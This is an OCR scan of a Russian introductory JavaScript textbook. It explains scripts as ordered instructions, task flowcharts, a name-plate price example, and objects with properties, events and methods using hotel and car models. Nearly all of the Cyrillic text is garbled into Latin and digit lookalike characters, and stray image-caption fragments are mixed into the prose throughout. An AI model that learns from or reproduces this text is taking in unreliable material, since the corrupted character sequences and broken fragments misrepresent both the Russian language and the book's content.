NOBTOPHO NMPOBEPUTH TOPMO3-
HYt0 cucTeMy, 4Tobbl onpeae-
NNTb, yCTpaHeHa nn npobnema.
Ecnn nocne pemoHTa npoBepka
3aBEPLUNTCH YCMELHOo U Mexa-
HUK y6eamnTcs, 4To npobaemsl
60/1bLUE HET, TO OH CMOXeT
nepenTn K CieaytoLLen npo-
Bepke.

AHaNOrMyHoO MHOTrMe CLueHapum
nosBonsioT bpaysepy npo-
BEPSITb TEKYLLYIO CUTYyauuto.
CueHapui bygeT BbINONHATL
Te UK NHble NocnegoBaTeb-
HOCTW AENCTBUIN LWL TOTAQ,
KOrfa aTo AeNCTBUTENIbHO
uenecoobpasHo.



CueHapuy COCTOAT N3 UHCTPYK-
LU, KOTOPble KOMMAbIOTEP BbIMNO/I-
HAET OA4HY 3a ApPYron.

bpay3ep moxeT 3a4encTBOBaTb
pas3nnyHble YacTu CLleHapus B 3a-
BMCUMOCTMU OT TOro, KaK Mo/ib30-
BaTe/lb B3aUMOAENCTBYET C BED-
CTpaHULEN.

CueHapuu cnocobHbI BbINOJIHATD
pa3inyHble dparMmeHTbl koaa B 3a-
BUCUMOCTU OT CUTYyaL M.

N




CO30AHUE
CUEHAPUHA

MNepe HanNncaHmem cueHa-
pUsa HeobXxoAMMO 0603HAUNTb
KesaeMylto Lieb, a 3aTeEM COo-
CTaBUTb CMNUCOK 3aa4, KOTO-
pble JO/IKHbI ObITb peLLeHbl
ANS ee JOCTUXEHUS.

YenoBek MOXET BbIMOHATb J0BO/IbHO C/IOXK- ‘
Hble onepaunn, NpakTn4yeCckn He 3a4yMbl- D \ L‘U:R}‘ElrfrTNE
BasACb 0 TOM, Kak OH 3T0 AenaeT. Hanpumep, h
MHOTM1e YMET BOAUTb MaLLMHY, NOCbINaTh

SNEKTPOHHbIE COO6LLI,eHI/IF| M TOTOBUTb 3aBTpak
6e3 Kaknx-1Mbo NoAPOOHbBIX MHCTPYKLMIA.

Ho korga mbl eLle He NpUBbLIKAM BbINOAHSATb click ON: this radio ement )
Takue JeNCTBUS, OHM KaXyTCs HAaM O4YeHb ‘ ¥—‘—T1
CNOXHbIMU. [T03TOMY, OCBanBas HOBbIN HaBbIK, ‘ @

Mbl 3a4acTyto pa3brBaeM ero Ha Mesikme noga- | L e g o
3a/ayu, a 3aTeEM YUYMMCS BbIMOTHSATb KaXXAyto B J
B OTAEeNbHOCTW. [10 Mepe HakoneHus onbiTa <

Takue noZ3aAayn BbiNnonHATCA BCe bbicTpee \ o
M KaXkyTcs npolye. CALL advance()

SLIDE?

[

HekoTopble cueHapwu, 4To Bbl yCrieeTe Npoyun- o i [l

TaTb UM HaNMCaTb K TOMY MOMEHTY, Kak Npo- | LS sl e — animaly cunrart
LITYAMpYETE KHUTY, BylyT A0OBOMBHO COXHbI- i sk
MW. Ha nepBbIn B3rns4 Kakme-To U3 HUX gaxke
MOTyT NoKasaTbCs ycTpatuaonmm. OaHaKo :

Noboi cLEeHapuin — 3To BCero uLb Habop ‘ - : S )

KPaTKMX MHCTPYKLMIA. MHCTPYKLMW BbINOHS- ‘ |

IOTCS MO MOPAAKY, MO3BOJIAA PELLMTb CTOSALLYIO
nepea BaMm 3agady. Bot nouemy nporpammm-
pOBaHWe CLieHapua HanoOMVHaeT HanucaHune
KY/IMHapHOro peLenTa Uav pykoBOACTBa,

a cam cLueHapwii No3BosIsIeT KOMMbIOTEPY pe-
WwaTb 3aZa4y NO3TanHo, Lar 3a LLarom.

clearTimeout() 4

OAHaKo HEOBXOAMMO OTMETUTb, YTO KOMIMbIO-
Tep He cnocobeH 0by4yaTbCs, NOAOOHO NOAAM.
OH He HakanAMBaET OMNbITa, MO3TOMY BCSKUMN
pas npu peLLeHnn 3aadum A0NXKEH BbIMo-
HATb BCE MHCTPYKLMM OT Ha4yana 1 A0 KoHLa.
Mporpamma AosHa AaBaTb KOMMbOTEPY
A0CTaTOYHO NoAPOHHOE ONUCaHNE peLLeHns,
NMOCKOJ/IbKY OH BCErAa BbIMOJIHAET 3a4a4y Tak,
C/IOBHO CTO/IKHY/ICS C HEWN BMEpBbIe.

@ OCHOBbI MPOrPAMMUPOBAHUA
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HauyHuTe c ob6Len KapTUHbI
TOro NpoLecca, KoTopbil
cobupaeTech BbIMOMHUTD,
n pasbenTe ero Ha Hebo/b-
LVe noa3agadn.

1. ONPEAEJIMTE LUE/1b

Jns Hayana Bam Hy>KHO onucaTtb Ty 3a-
Zayvy, KOTOpYHo Bbl XOTUTE pelnTb. MOXHO
cKasaTb, YTo Bbl GOPMYIMpyeTE ee A4
KoMMbloTepa.

2. CMTPOEKTUPYWTE CLIEHAPUI

Y106bI CNPOEKTMPOBATH CLiEHapUit, HEOb-
XOAMMO pasbuTb MyTb K eIV Ha HECKOJIbKO
3TanoB, KOTOPble A0/IXKHbI 6bITb MPONAEHDI
ANA pelleHns 3a4a4m. Takylo nocaeaoBsa-
TENIbHOCTb MOXHO NMpe/CcTaBuTb B BUAE
B6/10K-CXeMbl.

3aTeM HYXXHO BbIMUCaTb Te OTAE/IbHblE
aru, KoTopble KOMMbIOTEP A0NXeEH byaeT
BbINO/IHUTb A9 PELLEHNA KaXX A0 U3 onu-
caHHbIX Noa3agad (a Takxe BCO He0bX0-
ANMYI0 415 3TOro nHdopmaumio). JaHHbli
npoLecc HanoMuHaeT HanucaHue pelenTa.

3. OMULUNTE KAXAbIV
LUAT HA A3bIKE
NMPOrPAMMKNPOBAHINA

Bce aTanbl pelueHns 3a4a4m A0NXKHbI 6bITb
Bblpa>keHbl Ha A3blKe MPOrpamMmMmnpPOBaHUS,
NOHATHOM KOMMbOTEPY. Ham ¢ Bamu npea-
CTOUT NporpamMmmpoBaTh Ha JavaScript.

BO3MOXHO, BaM 3ax04eTcs cpasy npucTy-
MUTb K HAMUCaHWIO KOAa, OHaKo flyyLle

He CrMeLlnTb U TWaTe IbHO CMPOEKTUPOBaTh
OyAyLIMIA CLeHapui.

OCHOBbI MTPOrPAMMUPOBAHUA @



PASPABOTKA CLEHAPUN4A:
SAOAYN

OnpegenuBLLUNCL C TEM, 419 Yero npegHasHa-
YyeH Ball CLEeHapui, Bbl MOXeETE NPUCTYNNUTb

K NpopaboTKke OTAENbHbIX 3a4a4, KOTopble byayT
pellaTbCcs Ha NyTW K Lenun. Takoe obLiee Npea-
CTaB/IeHWE O NPeACTOSALMNX 3a4a4aX MOXKHO
n306pasnTb B BUAE 6J10K-CXEMBI.

BJIOK-CXEMA: 3A0AYYN TOPHUYHON

3AWUTU B KAXKAbIN
rOCTUHUYHbIN

HOMEP

B HOMepe?

CpenaTtb %
y6opKy

TpebyeTcsa
JiIn OOGHOBUTDb
HaMUTKU B MUHMU=
6ape?
_

TpebyeTca
nn npubpartbca ?

NEPEUTU
B CIEQYIOLLUN
HOMEP

Q OCHOBbI MPOrPAMMUPOBAHUSA



PASPABOTKA CLEHAPUN4A:
STATIDbI

PelueHme Ka>kgom oTAe/IbHOW 3a4a4un
Nerko npeAcTaBUTb Kak MOLLAroByr No-
cnepoBaTenbHOCTb. ECam Bbl FOTOBbI Npun-
CTYNUTb K NPOrpaMmMmMpPOBaHUIO CLiEHA-
pus, TO BCe 3TU LLArnM MOXeTe Bblpa3unTb
B BMAe OTAe/IbHbIX CTPOK KoAa.

CMUCOK: MNOITAMNMHOE ONMUCAHUE YBOPKU B HOMEPE

3TAIN 1 Y6paTb HecBeXune nocTenn.
3TAN 2 TlpoTepeTb BCE NOBEPXHOCTMU.
................................ Sl Dl R L

STAMN 4 3acTenuTb UMCTOE NOCTesibHOe 6ernbe.
3TAN 5 Y6paTb UCNOJZIb3OBaHHbIE MONOTEHLA
OTAIN 6 BbIMbITb TyaneT, BaHHY, PAKOBUHY

OTAN 7 TMonoXXuUTb HOBbIEe NMONOTEHLU A

STEP 8 BbIMbITb MON B BaHHOMN.

Ha cnep,yrol.u,eﬁ CTpaHuue Bbl y6eﬂ,VITer, YTO 3Tanbl, KOTOPbl€ KOMMNbTEP
npoxoanT B nNpouecce pelweHnd 3agadyn, MOryT 3Ha4nTeJIbHO OT/IN4aTbCA
OT AENCTBUI, YTO MOT/IN 6bl npeanpuHATb Mbl C BaMW.

OCHOBbI MPOrPAMMUPOBAHUSA @



OT 2TAIOB
K KO4OY

Bce 3Tanbl BbIMOJIHEHNSA KaX-
[0V 13 3a/1a4, NpeACcTaB/IEHHbIE
B 6/10K-CXeMe, ,0/1KHbI ObITb
OMMCcaHbl Ha A3blKe NporpaMmmm-
pPOBaHMUSA, YTOObI X MOT BbIMO-
HUTb KOMMbIOTEP.

B 3TOM KHWUre Mbl ByieM 3aHMMaTbCs Npo-
rpaMmMupoBaHueMm Ha si3bike JavaScript, B
4acTHOCTH, ANS B3aMMOLencTBuMS ¢ bpay-
3epoMm.

Mpn N3yyYeHnn A3bika NMPOrpaMmmMmMpoBaHns,
Kak 1 Npv U3y4eHUN MHOCTPAHHOIO A3blKa,
Bbl JO/1)XKHbI YCBOUTb ONpe/esieHHble A3bl-
KOBbl€ KOMMOHEHTbI:

° C/I0Bapb: K/tOYEBbIE C/10BA, MOHSATHbIE
KOMMbIOTEPY;

° CUHTAKCMUC: NpaBuia NoCTpoeHus
«bpas» 415 CO3[aHNSA UHCTPYKUNIA,
KOTOPbIM MOXET C/1e10BaTb KOMMbIOTEP.

Ecnn Bbl HOBMYOK B MpOrpaMmmMmnpoBaHnim,
TO BaM HY>HO ByZleT U3yUYnTb He TObKO
A3blk JavaScript, Ho n pasobpaTbcs, Kak
KOMMbOTEP A4OCTUTraeT pasIMyHbIX Lenewn.
[N 3TOro OH NCNONb3YeT MPOrpPamMmHbii
NoAX0A K peLleHuto 3a4auy.

KomMmnbloTepbl 4ENCTBYHOT OUYEHb JIOTMYHO
M MOCAYLIHO. Bbl 4ONXHbBI BO BCEX AeTansax
onucaTb TOT NPOLECC, KOTOPbIA A0/IXKHA
BbIMNO/IHUTb MallMHa — M OHA B TOYHOCTU
OyaeT cneaoBaTb BCEM BalMM KOMaH-
Aam. Mockonbky Npn B3auMoAenCcTBUN

C KOMMbOTEPOM MPUXOANTCH AaBaTb CO-
BCEM He Takme KOMaH/ibl, Kakue rnoHsan obi
yesloBeK, BCe HaYyMHatLlme nporpamMmmu-
CTbl lONYyCKatoT Npu paboTe MHOXECTBO
owmbok. He oTuyansanTech — B rnase 10
Mbl MOFOBOPUM O TOM, Kak MporpaMmmMmncT
MOXeT BbISICHUTb, YTO B MporpamMmme no-
LSO He TaK. DTOT NpoLecc Ha3blBaeTCs
oT/1a/1KOM.

@ OCHOBbI MPOrPAMMUPOBAHUSA
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HeobxoanMo HayuuTbCca AymMaThb
Kak KOMMblOTEpP, Be/b OH peLla-
eT 3a/la4yM COBCEM He Tak, Kak
YesI0BEK.

KomnbtoTep genaeT aTo nporpammmHo.

OH BbINOMHAET psig MHCTPYKLWIA, O4HY 32
Apyron. Takve KOMaHAbl 3a4acTyto dop-
MYJIMPYIOTCS Aaneko He Tak, Kak noTpebo-
BaJIoCcb 6bl MpM MOCTAHOBKE 3aJa4u nepeg
yenoBekom. MNo3ToMy Zlanee Bbl He TO/IbKO
CTaHeTe U3y4yaTb CQIOBAPb U CUHTAKCUC A3bl-
ka JavaScript, Ho 1 ByaeTe yunTbCca NnucaTb
NMOHSATHbIE KOMMbIOTEPY MHCTPYKL UM,

Hanpumep, B3rnsHUTe Ha pUCYHOK C/eBa.
Kak Bbl onpesennTe, kakaa U3 dburypok
camas Bbicokasi? YTobbl Takyto 3agavy
CMOT peLlnTb KOMMbIOTEP, EMY HYXXHO AaTb
noapobHoe onucaHne Bcex HEOOXOAMMbIX
LaroB. DTO MOXHO cAenaThb, Hanpumep,
cneaywowmm obpasom.

1. Hanau BbicoTy nepsBoi Gurypku.

2. Mpeanonoxwu, 4To aTa dUrypka asndaercsa
CaMoW BbICOKOM.

3. Mo nopsaaky onpeaenu BbICOTY BCEX
ocTaBLIMXca durypok. CpaBHU NX BbICO-
Ty C BbICOTOW NEpBOM — CaMOW BbICOKOW,
HanAeHHOM A0 CUX Nop.

4. Ha kaxJoMm 3Tane cpaBHeHUS eCTb BEPO-
ATHOCTb HANTN GUTYPKY, BbICOTA KOTOPOW
oKaxeTcsa 6osiblle, HEXENN Yy TOW, YTO
cenyac cyMTaeTCsi CaMom BbICOKOM. B Ta-
KOM CJly4ae CaMOW BbICOKOW CTaHeT 3Ta
HangeHHasa Tobon purypka.

5. MpoBepus Bce dburypku, coobuym, kakas ns
HWX B UTOre OKasaslaCb CaAaMOW BbICOKOW.

Takum 06pa3om, KOMMbIOTEPY MPUXOAUTCS
nepebpaTb BCe GUrypKkn No ovepeam 1 Bbi-
MOJTHUTb HaA KaXkAoM N3 HUX OAUHAKOBYO
NpoBepKY: «SBAsSeTCa v JaHHas durypka
60/iee NN MeHee BbICOKOW, HEXENN Ta,
KOTOpas cYMTaeTCs CaMom BbICOKOM Mo
COCTOSAHUIO Ha HACTOALLNN MOMEHT?» Kak
TO/IbKO Takasa onepauns bygeT BbINOJIHEHA
Haj KaxXZow 13 GUrypok, KomnbloTep AacT
Bam OTBET.

OCHOBbI MPOrPAMMUPOBAHUA @



OINPEAOEJIEHNE LIEJTUA
N MMPOEKTNPOBAHWE

CUEHAPUHA

JaBanTe pacCMOTPUM, Kak MOXHO HanucaTb CLueHapuin
Apyroro Tuna. B cneaytouiem npumepe BblYUCSIETCSA
CTOMMOCTb UMEHHOM Tabnnukn. KNneHTbl oniadymBatoT

Kaxxayto bykBy B HaZnmcu.

MepBbiM A€10M HEOBXOAMMO AETANbHO
onucaTb Lenu cueHapusa (4To ¢ ero Nnomo-
b0 Mbl Byaiem aenaTs).

Monb3oBaTeb MOXeT A06aBUTb Ha Ta-
6anyky nmsa. LleHa kaxaon 6ykebl — 5 .
Korpa nonb3oBaTesib BBOAUT UMS, Mbl MO-
Ka3biBaeM eMy, CKOJIbKO OHO ByZeT CTOUTb.

1. CueHapwuii cpabaTbiBaeT Npu HaXXaTun
KHOMKMW.

2. OH cobupaeT nHdopmaumto, BBeAEH-
Hyto B dopmy.

3. 3aTeMm OH NpOBEpPSET, BBE/ /1N NO/b-
30BaTe b BOOOLLE XOTb Kakoe-HUby/b
3Ha4yeHue.

4. Ecnamnonb3oBaTesb He BBEJ1 HUYEro, TO
noAaBndAeTCcda Hagnmcb, HaNnoMMHarLl a4,
4YTO 3TO HYXXHO CcAeNaThb.

5. Ecav nMs BBEAEHO, CLieHapuin paccum-
TbIBA€T CTOMMOCTb Tab/INYKN, YMHOXas
CTOMMOCTb 0A4HOM OyKBbI Ha 0bLLEee
YUCSIO TaKOBbIX.

6. Ha akpaH BbIBOANTCSA MTOroBas CTOMU-
MOCTb Tabanuku.

Lindpbl cnucka cooTBeTCTBYIOT H/10K-
CXeMe, N306paxxeHHON Ha cieayioLlen
cTpaHuue.

OCHOBbI MPOrPAMMUPOBAHUA

MMEHHASA TABJTIUYKA

Beeaute nms:

CTOMMOCTb

MMEHHAA TABJTUYKA

BBeanTe UMS: noxanyiicra, ssequre wn & nose:

{ MUXAWUI }

CTOMMOCTb

MMEHHASA TABJTUYKA
30P
MUNXAWNIT




NMPEOACTABJIEHVE 3A0AY
B BNAE BJIOK-CXEMbI

3a4acTyto CLleHapuii B 3aBUCUMOCTM OT CUTYaLUM OKEH

BbIMO/IHATb pa3/iIN4HblE 3adauN. MO>HO ncnoab3oBaTb OOK-

CXeMbl, 4TOObI YBUAETDL, KaK 3T 3a4a4Yn COHETAarTCA ApYyr

c Apyrom. Ha 610k-cxemax B BUAe IMHUN oTobpaxkaTcs

CBA3N MeXay 3TalaMu.

o Ecnu HaXkaTa KHonka
|
e Monyuntb uMs, BBeaeHHoe B hopMy

1
EcTb nu ums,
9 ’ KoTopoe
MOXXHO
| nonyynTb?

o MonpocuTtb Nnonb3oBaTens BBECTU UMS

e BblYMCINTb OGLLYIO CTOUMMOCTb (KONTMYECTBO

GYKB X CTOMMOCTb OfHOW GYKBbI)

o BblBECTU Ha 3KPaH CTOMMOCTb TaGIUUKK

PACLLUNDOPOBKA BJ1IOK-CXEMBbI

OGbIYHbIV 3Tan

Co6biTHe

Besopa vnu BbiBOA

PeweHue

CTpesiku NokasbiBatoT, Kak CLeHapuit
nepexoAuT OT OAHOW 3a4auu K C/iegyto-
uie. PasnnuHble GUrypbl COOTBETCTBYIOT
pasHbIM TUNaM 3aa4. B HekoTopbix Tou-
Kax NpUHMMaIOTCA peLLEeHUNs, B 3aBUCUMO-
CTW OT KOTOPbIX BbINOJIHEHWE KOAA UAET MO
OZHOMY UAN NO APYromMy Ny Tu.

B rnaBe 2 Mbl MOrOBOPUM O TOM, Kak Bbipa-
3UTb 3TOT NPUMEP B BUZAE Koga. Kpome Toro,
Ha CTpaHMLaX KHUM M Bbl BCTPETUTE MHOTO
APYTUX BMIOK-CXEM, @ TAKXKe U3YUYNTE KOA,
NMOMOTralLLMIA CMPaBUTLCA C /IOObIM TUMOM
NoAoOHbIX CUTYaLNiA.

HekoTopble onbITHbIE MPOrPaMMUCTbI
MNCMNOoNb3yIoT 60/1ee CNOXHbIE pa3HOBUA-
HOCTU CXeM, CreLManbHO NpeHa3HayeH-
Hble /19 BblpaXXeHWs B3aMMOCBSA3eN B
koge. OaHaKo Takom NpodeccrnoHasibHbIn
rpadunyeckmnin A3biK CIOXKHEE U3YUUTb.
Hawwn npocTble 610K-CXeMbl MOMOTYT
BaM MOHATb, Kak paboTaeT TOT UM UHOMN
cueHapui, He OTB/IEKAsACb MPU 3TOM OT
M3y4YeHUs si3blka MporpaMmmMmnpoBaHums.

OCHOBbI MPOrPAMMUPOBAHUA



CueHapunin — 3TO cepus UHCTPYKLU MW, KOTO-
PbIM CAeAyeT KOMNbOTEP AN AOCTUXEHUS
Lesn.

Mpw Ka>k40M NPOroHe CLeHapus OH MOXeT
BbIMOJ/IHATb HE BCE 3aMnMCaHHble B HEM UH-
CTPYKLNU, @ TOIbKO UX YacCTb.

KomnbloTepbl peLlatoT 3aZa4m He Tak Kak
N0AN, NMO3TOMY BaLLM MHCTPYKLMUU AOTXKHbI
NO3BOIATb peLlaTb 3a4a4y NporpamMmHo.

MpucTynasa K HanucaHuio cleHapus, pasben-
Te NyTb K BalLen Liesin Ha psaj noAsajay, a 3a-
TemM npopaboTanTe BCe Larm, HeobxoanMmsble
ANns ee gocTmxeHnsa (BO3MOXHO, 415 3TOro
MOHaA0bUTCA HapUCOBaTb B/IOK-CXEMY).



KAKOE MECTO

KOMITbKOTEPDI
SAHVMAKOT
B HALLUEM MUPE

OOOOOOOOOOOOOOOOOOOOOOO



KOMIBIOTEPBI MOLEJINPYIOT
PEAJIBHbIN MNP, OTNMMPAACDH
HA MMEIOLWWECH OAHHDBIE

Huxe npegcTaBneHa Mmoaesib 0TeNs, PAA0OM C KOTOPOW HaxoAaT-
cs MOJZeNu JepeBbeBs, N04en n asTomobunen. [ns yenoseka
04YEBWU/AHO, KAKOMY SIBJIEHMIO peasibHOro MmMpa COOTBETCTBYET
KaXkJas n3 3TUx moaesen.

@ OCHOBbI MPOrPAMMUPOBAHUSA



B komnbtoTepe He 3as0-
XEHO FrOTOBbIX CBEAEHUI

0 TOM, YTO TaKoe KOTeb»
NN «aBTOMOBUIbY. Kom-
MblOTEP HE 3HAET, A1 Yero
OHM HYXHbI. Y HoyT6yKa

1N cMapTdOoHa HUKOrAa He
oyaeT NobUMo Mapku
aBTOMOOM/IA, OHUN TaKXKe He
Yy3HaloT, CKOJIbKO 3B€34 Y
KOHKPETHOro oTens.

I TN OBbEKTA: OTEJ1b
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TUN OB BbEKTA:
ABTOMOBMUJ1b

Tak Kak xe Ham yaaeTcs
co3ZaBatb NMpu NOMOLLM
KOMMbIOTEPOB NMPUI0-
XeHunsa ana bpoHuposa-
HUSA HOMEPOB B OTENAX

M BUAEOUTPbI, B KOTOPbIX
nosib30BaTe /b MOXET
0YYTUTHCA 3@ PY/IEM O~
Ho4yHOro bonuaa? Oteer
3aK/1l04aeTCs B TOM, YTO
NpoOrpaMMmCT cosgaet
cBoeobpasHbie MoAenu,
npeAHasHavyeHHble UMEHHO

A9 KOMMNbOTEPOB.
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[MporpaMmMmncT cTpouT
Takve MoZenu, NCnosnb3ys
JaHHble, DTO MOXET noka-
3aTbCA HEMHOIO CTPaHHbIM
WA Aaxke CTpaLLHOBATbLIM,
HO He nyramTecs! Jeno

B TOM, YTO AaHHble — 3TO
BCe, YTOo TpebyeTca KoM-
NbloTEPY AN BbINOJIHEHUS
BalLUNX KOMaHA 1 peLleHuns
noCTaB/IEHHbIX 3a4au.

1Y

TUMN OBbEKTA:
ABTOMOBWUJ1b

=7

OCHOBbI MTPOrPAMMUPOBAHUA @



OBBbEKTbI M1 CBOVCTBA

Jaxe ecnu Obl Bbl He BUAENU N300paXKeHne Ha npeablayLien
cTpaHuue (rae npeacTaB/aeHbl 0Te/lb M aBTOMOOUAN), OAHU TNLLb
TEKCTOBbIE HAZMUCK YXKe HEMAJI0 COODLLNAN Dbl BaM.

OBBEKTbI (BELLW)

B KOMMbIOTEPHOM MPOrpamMmMmpoBaHnm
noboe Ppusnyeckoe Teno, CylllecTByolllee
B MUpE, MOXET BbITb MpeACTaBeHo B BUAe
0bbekTa. B ;aHHOM ciyyae Ha nsobpaxe-
HUKM eCTb 06BEKTbI ABYX PA3HbIX THUTOB:
aBTOMOOU/Ib U OTENb.

MporpammmcT mor 6bl CKasaTb, YTO 34eCb
npeAcTaB/ieH OANH 9k3eMn/iap obbekTa
«OTeNb» U ABa 3k3eM/iapa obbekTa «as-
TOMOBUAbY.

Y Kaxzoro obbekTa MoryT ObITb COOCTBEH-
Hble:

* CBOWCTBa;
e cobbITUS;
° MeToAbl.

BmecTe oHM co3aatoT paboyyo Mo-
nenb obbekTa.

CBOWCTBA (XAPAKTEPUCTUKW)

Y oboux aBTomobunen ectb obLyme xa-
paKkTEPUCTUKW: MOZENb, LUBET 1 ABUra-
TeNlb. MOXHO faxe onpefennTb TeKYLLYIO
CKOPOCTb aBTOMObMAA. porpaMmMumcTbl
NMEHYIOT Takue XxapakTepucTuKn ceos-
cTBamu obbekTa.

Y KaXA0ro CBOMCTBA €CTb MMS N 3HAYEHME.
Bce napbl «Mms/3HadeHne» coobujatoT
onpeaeneHHyo MHbGoOpMaLmio 0 KaxKa0M
OTAENbHO B3ATOM 3K3emnispe obbekTa.

Camoe o4yeBMAHOE CBONCTBO OTeNS — 3TO
ero name (HasBaHue). OTeNb Ha3biBaeTCH
Tula. YT06bI y3HATb, CKOJIbKO HOMEPOB ECTb
B OTe/Ne, HYXXHO MOCMOTPETb 3HaYeHne
CBOMCTBA rooms.

KoHuenumna nap «Mmsa,/3HadyeHme» ncnosbsyetcsa kak B HTML, Tak n B CSS. B HTML

aTpnbyT noaobeH CBOMCTBY; aTpubyThbl 06/1a4at0T Pas3INYHbIMU UMEHAMM, U KaXK bl N3
HUX cnocobeH MMeTb 3HaYeHne. AHanornyHo npu pabote ¢ CSS MOXHO M3SMEHUTD LIBET
3aro/ioBKa, Co3/aB NpaBusIo, KOTOpoe 3a4aeT CBOMNCTBY color KOHKPETHOE 3HaYeHwe.

Jpyro npumep: 4Tobbl USMEHUTb TapHUTYPY LLUPUDTA, HY>XXHO NPUCBOUTbL ONpeaeseH-

Hoe 3HayeHue cBoncTBy font-family. Mapbl «MMs/3HauYeHNE» LUMPOKO MPUMEHSIOTCS B

nporpaMmmmnpoBaHum.

@ OCHOBbI NTPOrPAMMNPOBAHNSA



OBBEKT «OTEJ1b»

O6beKT «OTe/b» UCMOMb3YET MMeHa

1 3HAYEHMS CBONCTB, YTObbl NPeAOCTaBUTb
NHDOPMALMIO O KOHKPETHOM oTesle. Peyub
naeT 0 Ha3BaHMM OTeNd, KOIMYECTBE 3Be3/
(penTuHre), KoNnMYyecTse HOMEPOB M O TOM,
CKOJIbKO HOMEPOB B OTe/Ie yXe 3abpoHnpo-
BaHO. TakXXe MOXHO COOBLINTL O TOM, eCTb
X B 3TOM OTesle onpejeneHHble yaobcTea.

TUM OBBEKTA:

OTEJ1b

CBOMWCTBA

name Tula

rating 4

rooms 42

bookings 21

gym false

pool true

g™

OBBEKTbl «<cABTOMOBWJ1b»

Ob6a 0b6bekTa «aBToOMObUIbY 0bnagatoT
OAHUMM N TEMMU X€e CBOMCTBAMM, HO 3Ha-
YEHWNS 3TUX CBONCTB Y pasHbiXx aBTOMObBU-
nen otnnyatotcs. CeoncTBa asToMobma
NMO3BONAT Y3HATb €ro Mapky, CKOPOCTb,
C KOTOpPOW B HacTosllee BpeMsa ABUXKeTCs
aBTOMObU/Ib, UBET aBTOMOBUA, Ha KAKOM
Tonnuee paboTaeT 3TOT aBTOMOBU/Ib.

I T | T

A TUM OBBbEKTA:
ABTOMOBMWUJ1b

TUMN OBBbEKTA:

CBOMWCTBA
make

currentSpeed

[

i - “‘ ) 58

) r |
V0, 08 color
'@%ﬁ G fuel

: 25

ABTOMOBWUJ1b
CBOWCTBA
BMW make Porsche

30mph currentSpeed 20mph

silver color silver

diesel gasoline

OCHOBbI MPOrPAMMUPOBAHUSA @



COBbITUNHA

B peanbHOM MUpe NtoaAM B3aUMOZENCTBYIOT C 00bekTaMn, name-
HAS 3HaYeHMs CBOMCTB 3TUX 0ObEKTOB.

YTO TAKOE COBbITUNE?

Kak npaBwio, ntoan B3aMMoAeNCTBYOT

c 06beKTaMM HEKOTOPbIMM pacnpocTpa-
HeHHbIMW cnocobamu. Hanpumep, Boau-
Te/lb aBTOMOOMASA 06bIYHO UCMOJIb3YET Kak
MWHUMYM ZBe negann. ABTomobunb oTee-
YyaeT Ha AENCTBUS BOANTENA MO-PAa3HOMY,
B 3aBUCMMOCTW OT TOTO, KaKyto negasab ToT
HaxXmeT:

e Nnejanbrasa3acTaBideT aBTOMObGMUb
ABUTraTbCA 6bICTpee;

« Mejasib TOpMO3a 3ame/1s9eT aBTOMO-
Ounb.

AHaNOrMYHO NPOrpamMmbl MO-pasHoOMY
pearnpytoT B TeX C/lydasax, Korga nosb3o-
BaTe/lb OCYLLECTB/ASAET TO UIN UHOE B3au-
MOZeNCcTBUE C KOMMbIOTEPOM. Hanpumep,
€C/IM HaxaTb Ha Be6-CTpaHuLe CCblnKy

AN OTNpaBKM COOBLLEHMNS, TO Ha aKpaHe
MOXeT nosiBuTbcs dopma Ans ceasun. Ecnm
BBECTM C/I0BO B TEKCTOBOE MOJ1E, TO BMNOJHE
BEPOSATHO, YTO KOMMbIOTEP aBTOMATUYECKM
3anycTuT GyHKLUMIO NOUCKa.

Koraa umeeT MecTo cobbITHe, KOMMbO-
Tep C/IOBHO MOAHUMAET PYKY U TOBOPUT:
«2W, NONIb30BaTE/b, BOT YTO MPOMU30LLIO!»

OCHOBbI MPOrPAMMUPOBAHUA

KAK PABOTAET COBbITUE?

MporpaMmuCT BbIbUpaeT, Ha Kakne cobbl-
Tns cneayeT pearnposaTtb. Korgaa npovc-
XOAWNT KOHKPETHOE COObITUE, OHO MOXET

3anyCcTUTb TOT MW MHOM dparMeHT Koga.

CueHapum 3a4acTyo NCMOb3YIOT pasny-
Hble COBbITUA AN aKTUBALMM TEX NN UHBIX
dparmeHTOB dyHKUMOHANA.

NTak, cueHapuii onpeaenseT, Ha Kakue
cobbITUSA NporpaMmMucT cobupaeTcs pearu-
pOBaTh M KOTOpPas 4acTb CLieHapus A0JIXKHA
BbIMOJIHATLCA, €C/IN MPOU30NAET KOHKpET-
Hoe cobbiTue.



OBBEKT «OTEJ1b»

B oTesne perynsipHo 6poHupytoTCA HOMe-
pa. Bcakmn pas, korga aTo NpOUCXOAUT,
Mbl MOX€EM MCMOJIb30BaTb COBbITUE book 1
3anyckaTb Ko, YBEIMYNBAIOLLMIA 3Haye-
HuWe cBOMCTBa bookings. HanpoTwme, cobbiThe
cancel 3anyckaeT Ko, YMeHbLLAKLLNNA 3Ha-
YyeHune cBomncTBa bookings.

TUN OBBbEKTA: OTEJ1b

COBbITUE npoucxoaur, Korpa:
book BpoHupyeTca HoMep
cancel BpoHupoBaHMe oTMeHseTcH

TUN OBbEKTA: ABTOMOBWJ1b

OBBEKT «ABTOMOBWNJ1b»

B gopore BoaguTeNb TO NpubasnaeT cko-
poCTb, TO TOpMO3UT. CobbITHE accelerate
MOXEeT 3anyckaTb KOZ, yBe/IMYMBatoLLNA
3HauyeHune ckopocTu (CBOMCTBA currentSpeed),
a cobbiTue brake — KO/, YMEHbLLAKLLNN 3TO
3HayeHue. Ha cnegytolien ctpaHule Mol
nogpobHee NOroBopuUM 0 KoZe, KOTOPbIN
pearmpyeT Ha CObbITUS U USMEHSAET AaHHble
CBOMCTBA.
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TN OBBbEKTA: ABTOMOBWJ1b

COBbITUE npoucxogur, Korpa: COBbITUE npoucxopuT, Korga:
brake Boautenb TOpMO3uUT I brake Boaoutenb TOpMoO3nNT
accelerate | BoguTenb )KMeT Ha ras Bl accelerate i BoguTenb XMeT Ha ras

OCHOBbI NTPOrPAMMUPOBAHUA @




METO/LDI

MeToAbl ONNCbIBAIOT, YTO MOXHO cZenaTb ¢ obbekTom. OHM crno-
COOHbI U3B/IEKATb UM OOHOBNATH 3HA4YeHNs CBOWNCTB 0bbekTa.

4YTO TAKOE METO[?

OB6bIYHO METO/ OMUCHIBAET, Kakuie aei-

CTBMA JOMNycKaeTcs coBepllaTb Hag o6bek-

TOM B peasibHOM MUpe.

MeToabl MOXHO CPaBHUTbL C BOMPOCaMM

N UHCTPYKLMAMM C/IEAYIOLLEr0 coAepXa-

HUS:

o «Pacckaxu 4yT0-11M60 06 3TOM 06beEKTE
(Mcnonb3ym NHGOPMaLMIO, COXPAHEHHYIO
B €ro CBOMCTBAx)y;

